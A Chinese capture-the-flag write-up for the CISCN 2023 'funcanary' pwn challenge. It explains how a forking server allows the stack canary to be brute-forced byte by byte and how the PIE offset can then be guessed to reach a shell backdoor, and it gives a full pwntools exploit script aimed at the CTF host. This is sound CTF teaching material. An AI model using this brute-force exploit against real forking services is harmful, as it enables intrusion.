【pwn】[CISCN 2023 初赛]funcanary --爆破canary和pie
拿到程序先查一下保护状态
可以发现保护全开,再看一下程序的逻辑
可以发现,这里有一个fork函数:
C语言中的fork()函数用于创建一个新的进程,该进程是原始进程(父进程)的一个副本。这个副本将从fork()函数之后的代码行开始执行,父进程和子进程在此处分别继续执行不同的代码。
fork()函数的返回值有以下三种可能情况:
如果返回-1,表示创建新进程失败。
如果返回0,表示当前进程是子进程。
如果返回一个正整数,表示当前进程是父进程,返回的整数是子进程的进程ID。
就算说fork函数会开启一个子进程,然后根据while,可以发现这个程序会不断开启子进程,我们再点进去sub_128A()函数看看
这里的buf偏移是0x70,所以该处存在栈溢出,但是程序开了canary(Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串),但是我们可以利用上面的fork函数不断爆破canary的值。
在这里,大概可以判断canary的值在rbp的上面,又因为程序开了pie,导致rop难度很大,先找找有没有getshell的字符串,发现程序是有这样的代码段的
那这里的思路就明确了,这个pie还是得爆破一下
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = remote("node5.anna.nssctf.cn",28272)
p.recvuntil('welcome\n')
canary = b'\x00' # 将初始的 canary 值改为字节串
for k in range(7): #总共要爆破7位
for i in range(256):
payload = b'a' * 0x68 + canary + bytes([i]) # 将所有相关字符串改为字节串并使用 bytes([i]) 来构造字节串
p.send(payload)
data = p.recvuntil("welcome\n")
print(data)
if b"fun" in data:
canary += bytes([i]) # 确保更新的 canary 也是字节串
print("canary is:" + str(canary))
break
back_door = 0x231
for i in range(15):
num=i<<12
payload = b'a' * 0x68 + p64(u64(canary)) + b'a' * 8 + p16(0x231+num)
p.send(payload)
flag=p.recv()
if b"NSSCTF" in flag:
print(str(flag))
break
p.interactive()